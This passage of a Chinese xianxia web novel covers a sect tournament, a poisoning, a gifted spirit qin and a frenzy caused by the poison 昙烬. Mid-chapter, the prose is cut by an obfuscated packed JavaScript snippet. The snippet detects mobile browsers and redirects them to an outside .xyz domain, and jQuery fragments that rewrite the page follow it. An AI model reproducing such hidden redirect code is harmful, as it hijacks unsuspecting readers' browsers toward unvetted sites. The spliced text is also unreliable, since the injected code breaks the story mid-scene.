壮汉望着那娇小的女子愣怔了片刻,突然爆发出一阵狂笑:“奶娃娃还是回家——” 寒光乍现。 谁都没看清少女如何出手,只见空中划过一阵令人眼花缭乱的剑光。壮汉的笑声戛然而止,他不可置信的低头,右臂齐肩而断,喷涌的鲜血在擂台上溅出一道扇形血瀑。 “啊!!!” 壮汉后知后觉发出撕心裂肺的惨叫,断臂处血肉模糊,森白的骨茬刺出皮肉。他跪倒在地,左手死死掐住伤口,却止不住鲜血从指缝间汩汩涌出。 台下瞬间炸开了锅。 “天杀的!”一个药王谷弟子端着茶盏的手一抖,滚滚烫的茶水泼了自己一身也浑然不觉。 旁边蓄着山羊胡子的老修士却淡定的看着台上一幕,云淡风轻的品了口茶。 年轻的女修们捂嘴尖叫,有个穿天蓝色水袖的姑娘直接昏厥了过去,被同伴七手八脚的抬出人群。 白发长老抬手制止骚动:“刀剑无眼,比试继续。” 四名执事迅速抬走昏死的壮汉,两人按住不断痉挛的壮汉,另外两人麻利的撒上止血粉。血迹未干,长老已经敲响铜锣:“下一组,第七签!” 7. 群仙会(2) 那壮汉痛苦的哀嚎一时间感染了众人,甚至还有几个散修打起了退堂鼓。 “你看清那女子的剑招了吗,快的像闪电一样!这要是对上她,保不准也要缺胳膊少腿!” “你别说了,我本身就是想来碰个运气。我......我不比了。” “哼,都是些孬种!” 洛熙一言不发的站在原地,余光却瞥向台下那道端正笔直的身影。 这女子手段残忍,剑招狠厉,单从穿着来看,并看不出所属的宗门派别。只是她那剑招,总让洛熙有种隐约的熟悉感。 若是真的对上她,怕是有些棘手了。 日头高升,蝉鸣阵阵。不知不觉中,比试已进行了大半日。洛熙拂去额间细汗,被火辣辣的日光炙烤的有些晕眩。 约莫又过了一刻,终于轮到了她登台。 她的对手是个纤弱的少女,杏眼樱唇,她拱手行礼:“请姐姐赐教。” “请。” 少女提剑上前,寒光凛冽的剑尖直逼洛熙面门,眼见就要刺入,洛熙却纹丝不动。那少女似是没料到洛熙会不闪不挡,手中力道撤了几分,剑尖擦着洛熙的脸颊斜刺了出去。 洛熙趁机旋身,一掌拍向那少女后背。那少女的力道还未来得及收回,顺着洛熙这一掌直直飞下了擂台。 倒不是洛熙不想好好比试,只是想保存体力,只能耍些阴招了。 那少女也不恼,对着台上的洛熙展颜一笑:“姐姐好身手!” 接下来的几轮比试,洛熙但凡能不出剑就不出剑,尽量耗费最少的体力击败对手。 随着对手减少,洛熙还是不可避免的对上了那名绛衣少女。 那女子功法深厚,这几轮下来,凡是被她击败之人皆非伤即残。即便对方已经认输,她也一定要断对方根手筋才罢休。便是面对女子,她也丝毫不手软。 那女子跃上擂台,双指抚过染血的剑锋:“我喜欢你的眼睛,若现在认输,我留你这对漂亮眼珠子,如何?” “姑娘此言,怕是为时过早了些。” 话不多说,洛熙迅速出手,手中长剑刺出,那女子跃开,下一瞬直接出现在了洛熙背后。冰冷剑尖已堪堪抵上她的后颈肌肤。 “太慢了~”女子带笑的吐息喷在耳畔。 洛熙耳尖一动,反手向后刺去。锋利剑刃却只划破残影,那女子早已闪退至三步开外。 洛熙提气上前,右手挥剑,左手灵力弹出,在那女子左右形成了一道无形的屏障,那女子眼见避无可避只得挥剑格挡。 "锵——!" 双剑相撞爆发出一声刺耳的巨响,一阵罡风骤起,卷的四周的柳枝疯狂扭动,像被一双无形的手狠狠攥住又胡乱甩开,丝绦般的绿枝在空中抽打着,发出呜呜的声响。 女子见不能靠闪躲耗费洛熙体力,竟剑走偏锋直削洛熙手腕,用的都是些断筋剔骨的阴毒路数! 洛熙翻腕格挡,只见对方剑身竟迅速燃起一簇火光,那火光顺着二人剑身相抵的部分快速攀上洛熙剑身,顺着剑刃没入洛熙虎口。一股锥心痛楚猛地窜上整条手臂,刺得她险些失手扔掉佩剑。 洛熙后撤半步,不可置信的盯着掌心焦痕,“蓝焰?你竟然是......” 还不待她说完,那女子的攻势再次袭来。每一剑都带着撕裂风声的尖啸,专挑关节、咽喉、心窝等致命处。洛熙连退七步,足跟已抵到擂台边缘。 "去死吧!"女子狞笑着劈下必杀一剑。 千钧一发之际,洛熙猛然侧身。 "噗嗤!" 剑锋贯穿她左肩,血花喷溅在面纱上。 女子面上笑容凝滞了一瞬,正要抽出剑,洛熙却强忍剧痛死死抓住了剑刃。 那女子面色大变,蓄力再次拔剑。洛熙握剑的手也顺着剑刃滑来,鲜血淋漓的手如铁钳般扣住她的手腕。只听咔嚓一声,腕骨应声而碎。 “啊!”女子惨叫一声,佩剑脱手甩下擂台。 颈间一凉,洛熙的剑已经抵上她的喉咙。 "认输,"洛熙面色苍白,握剑的手打着颤,"或者死。" 整个擂台陷入死一般的寂静。台下众人屏息凝神,连风声仿佛都凝固。 女子仰着下巴瞪着洛熙,眸中怒火仿佛要将洛熙焚烧殆尽,咬着牙挤出两个字:"...认输。" 台下,陆景桓修长的手指轻扣茶盏,茶汤表面漾起一圈圈涟漪,一如他此时纷乱的心绪。 “去查那个女人的剑,我要知道来历。” 话音刚落,空荡荡的席位周围,一片落叶诡异地悬停在半空。清风拂过,落叶打着旋儿飘远,仿佛什么都没发生过。 "最终场,洛熙对昨日魁首云芸!" 随着长老的宣告,台下炸开一片喧哗。 "云芸师姐出手,这场比试有看头了。" "那蒙面女子怕是要止步于此。" "运气总有用尽的时候。" 云芸款款登台,她身着一袭淡黄罗裙,发间牡丹步摇随着步伐轻轻晃动,发出叮叮当当的脆响,眉眼间尽是温柔笑意。她微微欠身:"这位师妹,请多指教。" "请。" "比试开始!" 一声令下,云芸的剑势扑面而来,洛熙侧身躲避,面纱被劲风掀起一角。不待她喘息,第二击已至,她举剑遮拦,左肩伤口在剧烈的动作中再次崩裂,在肩头洇开一片更刺目的红。 台下一片惊叹赞美。 "云芸师姐的灵力竟如此高深......"有人低呼。 "师妹若是力竭,不妨认输。"云芸柔声劝道,手中剑势却愈发凌厉,招招直指洛熙受伤的左肩。又一记斜挑,剑锋擦过伤口,洛熙闷哼一声,额角已渗出细密汗珠。 洛熙的视线被汗水模糊,每一次呼吸都牵扯着左肩火辣辣的伤口。云芸的剑锋在阳光下闪着冷光再次刺来,她勉强举剑相格,金属相撞的震感从虎口直窜上臂,震得伤口迸出更多鲜血。 大片的鲜血滴落,与擂台上已经干涸的暗红血迹混在一处,积成一片闪着细碎波光的水洼。 "认输吧,师妹。"云芸的声音裹着灵力传来,在洛熙耳中嗡嗡作响,"再这样下去,会伤及根基的。" "多谢师姐...关心。"洛熙喘着气,话语断断续续:"但我还想...再领教下...最后一招..." 云芸眼中闪过一丝讶异,随即恢复从容。她挽了个剑花,衣袂飘飘如谪仙临世:"既如此,师姐便用这招''追月''送师妹下台。" 剑光暴涨的刹那,洛熙突然笑了。她垂下的左手在身后快速结印,擂台上所有干涸的血迹突然亮起暗红光芒。 云芸的剑势微滞,就是这电光火石间的破绽,她皮开肉绽的右手并指如剑,竟直接抓向云芸的剑锋,将满手鲜血抹在对方剑身上。 "血啼九转!" 随着嘶哑的喝声,沾血的剑身突然腾起黑红色火焰。云芸惊骇地发现佩剑变得滚烫,剑穗瞬间焦黑。洛熙趁机欺身而上,手指在云芸眉心飞速画下一道血符。 云芸的剑哐当落地,整个人瞬间僵在原地。洛熙摇摇晃晃的站直身子,一掌拍向云芸胸口。 云芸眼中闪过一丝不可思议,下一刻便如断翅的白鹤般倒飞出去,重重摔在地上,一口鲜血喷出,腕间那枚价值万金的羊脂玉镯炸成碎片。 短暂的沉默后,嘈杂声浪骤起。 "云芸师姐竟然败了!" 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"你们快看,她都成了血人了......" “咳……”云芸撑起身子,凌乱的碎发间露出半张温婉清秀的脸。她看着地上的玉镯碎片,眼皮跳了跳。她堂堂玉莲谷少主,竟被个来历不明的野丫头当众摔下擂台! 与此同时,十二名身着白袍的玉莲谷弟子同时起身。 “师姐!” 一个鹅蛋脸的少女疾步上前,却在距离云芸几步时步子一顿。在那个角度,她恰好看见了云芸垂落的袖口内闪过的一抹银光,正中洛熙后颈。 “妖女,竟敢用邪术伤我玉莲谷……” 鹅蛋脸少女突然死死抓住同门手腕:“别出声!” 她声音压得极低,手却抖得厉害:“师姐的莲花针见血化毒,那妖女活不了。” 一众人心头怒火这才得以平息,赶忙上前去搀扶云芸。 长老高声宣布:"本届魁首已定,请洛姑娘......"话音未落,洛熙双膝一软,“扑通”一声跪在了擂台上,勉力靠剑锋支着身子才没有彻底倒下去。 只见一片雪白衣袖如流光般掠过,苏钰衣袖轻展,稳稳接住坠落的洛熙。 "谷主!"药王谷弟子抬着担架匆匆赶来。 苏钰颔首,取出青玉药瓶递给为首弟子:"先服白溃散护住心脉,请青浮长老亲自医治。" 为首弟子接过瓷瓶,组织众人将洛熙小心的抬上担架。 苏钰又交代了几句相关事宜,才转过身对台下说道:"洛熙姑娘实为本届魁首,各位有目共睹。人既在药王谷受伤,苏某自当负责医治。诸位赏脸莅临本年盛会,药王谷已备了宴席,请诸位移步前厅。" 人群三三两两的散开。 "你们看见没,方才药王谷那位……" “那姑娘是魁首,谷主格外关心一下也无可厚非,只是玉莲谷那位竟输给了……” "嘘!不要命了?" 声音渐行渐远。 这些窃窃私语清晰的传入了云芸耳中,她目光怨毒,指甲深深掐入掌心。直到竹桃颤抖的声音传来:“小姐,您的手在流血……” 她低头看着掌心四道月牙状的血痕,忽然愉悦的笑了起来。 在抬头时,眼中阴鸷已化作春水般的温柔:“无碍的,只是不知那师妹师承何派,竟有如此造诣,当真令人钦佩。” 阳光在她精致的面庞上流转,连睫毛投下的阴影都恰到好处。人群中有年轻弟子红了脸,这般气度,不愧是玉莲谷少主。 余光扫过擂台边缘时,她呼吸陡然一滞。 树下阴影中,一道玄色身影静立如山。那人墨发如瀑,姿容俊朗,周身都围绕着一股摄人心魂的气魄,就像沉渊里浮动的星光,危险却令人飞蛾扑火般想要靠近。 云芸不由自主地向前迈了半步,却见那人忽如雾霭般消散。仿佛刚才所见只是一场幻觉。 "竹桃,"她声音轻的如同梦呓,"看见那位公子了吗?" 侍女茫然四顾:"小姐说的是...?" 云芸低笑一声,绣鞋碾过地上碎裂的玉镯。这些唾手可得之物,便是价值万千又有什么稀罕。 自小就算是再珍贵的东西,也提不起她的兴趣,她本以为自己是五感淡薄,会这样沉寂的度过一生。可看到他的那一刻,她才第一次体悟到为人的鲜活快乐。 她抬手抚过鬓边歪斜的步摇,眼底燃起势在必得的光芒:“竹桃,让爹爹查查群仙会参会的都有什么人,来自什么门派。” “是。” 风中似有若无的冷香让她心跳加速,这样的存在,才配成为她云芸的掌中月、笼中雀。 哪怕要掀翻整个中州,她也要把那人找出来。 8.昙烬 药香清苦绵绵,萦绕在洛熙鼻尖。她睁开眼,看着房内熟悉的陈设装饰,恍惚间以为自己回到了五年前在药王谷养伤的那段岁月。 “姑娘醒了?” 一道灵动活泼的声音从药炉旁传来。洛熙微微侧首,看见个身着白色纱裙的少女正在碾药,她手上动作未停,扭头对洛熙露出一个清甜的笑容,笑时唇边露出两颗小虎牙,显得俏皮又可爱。 洛熙正要开口,左肩锥心的痛楚突然炸开,她被衾中的手猛地攥紧了身下的茵褥。 “姑娘,我的......面纱” 那少女一拍脑袋,赶忙从袖中取出那方素纱:“哎呀,瞧我这记性,那会儿姑娘被抬回来时,这面纱都被血浸透了,吓人的很。没法子才取下来,好歹为姑娘清洗干净了。” 洛熙接过面纱,勉强撑出一个还算得体的笑:“多谢姑娘了。” 少女摇了摇头,弯腰去扶洛熙,“姑娘不必客气的,你这般躺着怕是不大舒坦吧,既然已经醒了,我扶您起来吧。” 洛熙虚弱的点了点头,借着她的力坐了起来,那少女还贴心的在她身后放上一个软枕。 “我...昏了多久?”她无声的呼出一口气,将面纱重新带在脸上。 “不过一个时辰,青浮长老亲自为姑娘疗的伤。”少女重新递来一碗温热的汤药。 洛熙正要接过药盏,房门吱呀一声。朦胧月色中,苏钰一袭仙鹤大氅立于门前。他身姿挺拔,气质温润,一头如瀑长发散在衣襟前。清俊的相貌间已经褪去了稚气,多了几分稳重端庄,已然担得起那句“陌上人如玉,公子世无双。” “姑娘醒了。”他缓步上前,将手中瓷瓶搁在案上。 洛熙收回停留在他身上的目光,刻意压低嗓音道:“已无大碍,多谢苏谷主相救。” 苏钰唇角轻扬,温声道:“姑娘在药王谷受伤,医治本是分内之事,不必言谢。” 白芷见谷主亲临,识趣地退下,临走时轻轻带上了房门。 沉默在室内蔓延,洛熙只觉浑身不自在,生怕被他瞧出什么端倪,只想赶快逃离这片是非之地。 “谷主......” “姑娘......” 二人同时开口,又同时静候对方的下文。 “姑娘请讲。” “不知灵琴现在何处?” 苏钰凝视着洛熙平静的神色,垂首自嘲一笑,在抬眼时,已经恢复了惯常的冷静: “姑娘请随我来。” 洛熙强忍疼痛下榻,跟随苏钰来到一间幽静的暗室。甫一踏入室内,一股阴森幽冷的寒气直顺着脚底往人身体里钻,冻得洛熙不自觉地打了个寒颤。 暗室中央摆着个玄木匣子,体积之大几乎占满了整间暗室,红色的匣身外围绕着一层淡淡的黑气。 匣盖开启的刹那,无数缕阴寒白气从匣内争先恐红的涌溢出来。待那白气彻底消散,洛熙看清了躺在匣内那把古琴的样子。 那是一把极漂亮的灵琴,并不似外界传闻中那般。它琴身漆黑,琴弦则是晶莹剔透的冰弦,丝丝寒雾在弦丝上凝成晶莹皎洁的霜花,神秘而圣洁。 洛熙轻轻抚过琴弦,一缕精纯的灵流顺着指尖流经经脉,瞬间填补了她匮乏的灵力。此琴触感与她的本命灵琴千昼如出一辙,这令她更加确信,此琴必是密卷中记载的七殇无疑。 她小心将七殇抱起,肩头忽地一痛,身子向前倾去。苏钰迅速上前,稳稳扶住她:“姑娘当心。” “无妨。”洛熙将琴揽得更紧,冰弦贴着手腕,寒意丝丝渗入。 “今日多谢谷主赠琴。” “这是姑娘应得的。” 他一路送她至药王谷山门,目送她的背影渐行渐远,神色深沉难辨。 一名青衣女子缓步走近,顺着他的目光望向远处苍茫山林。 “谷主这般大费周章,不惜拿七殇做引,为何不与姑娘相认?” 苏钰的目光仍望着她离去的方向,“她不愿与我相认,终究还是怪我的……。” “三年前琴宗遭难,谷主闻讯便即刻赶去,那一地的断壁残桓……”青浮闭上眼,不忍再去回想当时的情景。 琴宗作为六大仙门之首,遇难的消息一出便轰动了整个江湖。苏钰刚一得到消息,就带着一众弟子马不停蹄的赶了过去,甚至连最耗精元的瞬移术都施展了出来。 可即便如此,他到达琴宗时还是为时已晚,他能做的只是好生安葬已亡人,却独独没有发现她的尸首,那时他就断定,她一定还活着。 这三年来,他暗中寻找她的踪迹却始终无果,万般无奈之下,只好以灵琴做引引她前来。他猜若有关灵琴,她会来。 “若今日夺魁的不是她,谷主可是会将七殇真的赠予他人?” 苏钰轻轻摇了摇头:“若不是她,我就只好将我的灵琴作为这彩头了。” 青浮忍俊不禁,想到谷主将他那宝贝灵琴赠予他人时的表情,甚是招笑。 “青浮,派人暗中护她周全。若有人夺琴,就地解决,别让她察觉。” 青浮应下,转身离去。 随着她的脚步声消散在石径尽头,苏钰从怀中取出支褪色的桃花簪,思绪闪回到了五年前。 * 洛熙回到暗夜阁时,天光已破晓。朝霞如泼墨般晕染开来,将高耸的黑石围墙染成暗红。怀中七殇沉似玄铁,每走一步都牵扯着肩头未愈的伤。 她艰难的取出怀中玉佩,灵力注入的刹那,围墙无声裂开一道缝隙。陆景桓静立在十丈外的槐树下,孤傲身形与阴影融为一体。 他看着洛熙拖着沉重的步子向前挪动,像一株被暴雨摧毁的芦苇。左边的衣袖已经完全被鲜血浸透,暗红血迹从肩头一直蔓延到袖口,正滴滴答答的往下落,在身后拖出一道断断续续的血痕。 他淡然的看着她如丧家之犬的背影,没有任何表情。挥袖离去时,对着一路护送洛熙归来的青萝命令道:“去将药阁的赤霞丹给她送去。” “是。” 流霞苑的门被轻轻推开,洛熙将七殇并排放在千昼旁边。 两把琴几乎一模一样,除了琴身颜色,连最细微的灵力纹路都分毫不差。 密卷只提过七殇可解千昼杀意,却未载明解法。是奏曲?灵力相融?还是说……真正的解法藏在后面的密卷里? 密卷究竟有多少内容?难道要一直被陆景桓钳制? “姑娘,阁主送了些伤药来。” “青萝姑娘请进。” 青萝手捧檀木药匣而来,木匣轻启,内里是一个红色瓷瓶,垫在红绸软布上。 “姑娘,此药名为赤霞丹,是以百年血灵芝炼制而成,养精补血的效果极好。” 洛熙接过药瓶,圆滚滚的红色药丸躺在手心,还散发着淡淡的血腥气,她迟疑片刻,仰头咽下。 青萝望向她被血渗透的衣袖,欲言又止终是退了出去。可还没出院门,就听房内传来瓷器破碎的声响,青萝脚步一顿,快步上前推开房门。 只见洛熙颈侧攀满了黑色的不明纹路,原来漆黑的眸子泛出诡异的红光,正疯狂摔打着房内所有拿得起的物件,衣袖的鲜血甩的到处都是。见到来人,二话不说就抬手攻去,青萝闪身躲避:“姑娘?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054213|178981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛熙却恍若未闻,周身灵力暴走,攻击目标也从那些脆弱没有生机的物件转移到了会跳会动的青萝身上。 青萝施展起来畏手畏脚,生怕误伤了她,她却招招下了死手,青萝招架不住,挥袖布上一道结界,直奔听雪轩。 她气息紊乱的冲进听雪轩时,陆景桓正倚在软榻上悠闲的把玩一枚血色玉佩。 “阁主!洛姑娘她……” 话未说完,窗外突然传来一声巨响。陆景桓身形一闪已至窗前,远处流霞苑上空,一道赤红灵力如光柱般冲天而起,震得四周瓦片纷飞。 青萝急忙解释:“姑娘服了药阁的赤霞丹后就这样了!” “赤霞丹?” 青萝还未答话,眼前身影一晃,再抬头时窗前已空无一人。 流霞苑内,三名侍卫正艰难的围着洛熙游走,她长发散乱,漆黑的瞳孔被血色掩盖,掌心赤红灵力已将庭院里的石凳震得稀碎。 “姑娘醒醒!”为首的侍卫欲哭无泪,刚靠近,就被一道灵力击飞倒撞在树干上,哇的吐出一口血。 “都退下。” 冰冷的声音传来,暗卫们如蒙大赦般散开。陆景桓负手立在门前,衣袖上金线勾勒的莲花花纹隐隐发光。 听到声音,洛熙猛地扭头看过来。猩红的眸子在看到陆景桓时闪过一丝茫然,但这空白只持续了一瞬,下一秒,她就如鬼魅般向他袭去,张开的五爪直取陆景桓咽喉。 陆景桓站着没动,在她即将触碰上他的前一秒,眼疾手快的攥住了她的手腕。她挣扎着抬起另一只手,也被他牢牢握在手心。 他略一用力,顺势往回带了半分,洛熙就踉跄着扑进了他怀里。 “洛清音,看清楚,我是谁。” 他的声音低沉冷静,鼻尖几乎贴上她滚烫的额头。 洛熙红瞳淡去几分,牙齿死死咬住下唇,像是在拼命克制着什么。可最终,她还是没能忍住,偏头一口咬上了他的肩。 尖锐的利齿刺穿皮肉,陆景桓身体本能地绷紧了一瞬,像是要推开她。可他的手刚刚抬起,却又停在了半空。 随后,缓缓落回了她的腰间。 他收紧手臂,将她更深地按进怀里,冰凉的灵力顺着掌心灌入她的经脉,强势镇压她体内暴走的灵力。 “咬够了吗?” 灵力入体,洛熙猛地抬起头,一口黑血喷在他胸口,血中混着细小的冰晶! “昙烬……”,他面色阴沉,打横抱起昏迷的洛熙,“洛清音,你还真是会给我找麻烦。” 他垂头看着怀中人嘴角不断溢出的黑血,拇指重重碾过,“想取你性命,没那么容易。” 听雪轩外,星宸的目光死死跟随着陆景桓的身影,垂下的手紧握成拳,那双秋水一般的眸子里盛满了痛惜与沉郁。 听雪轩内,红丝缠徐徐缠上陆景桓的五指,又在他指尖轻点下乖顺隐没。 柳长老提着药箱匆匆赶来,搭脉片刻,面色逐渐变得凝重。他摊开一包银针,银针入体,再拿出时针尖已成了黑色,他摇了摇头,惋惜道:“是昙烬。” 陆景桓漫不经心的扫过床榻上昏迷不醒的洛熙,云淡风轻道:“能配出解药吗?” 柳长老第一次露出不知所措的神情,局促不安道:“阁主,这昙烬是玉莲谷独门毒药,阁中怕是配不出解药啊!”他停顿了片刻,语气为难:“若是三日无解,这......怕是就回天乏术了。” 陆景桓轻笑一声,抬手欣赏着缠绕在指节的红丝,讥讽道:“我还当她有什么能耐,结果就是死到临头了,还在这里做着追查凶手的美梦。”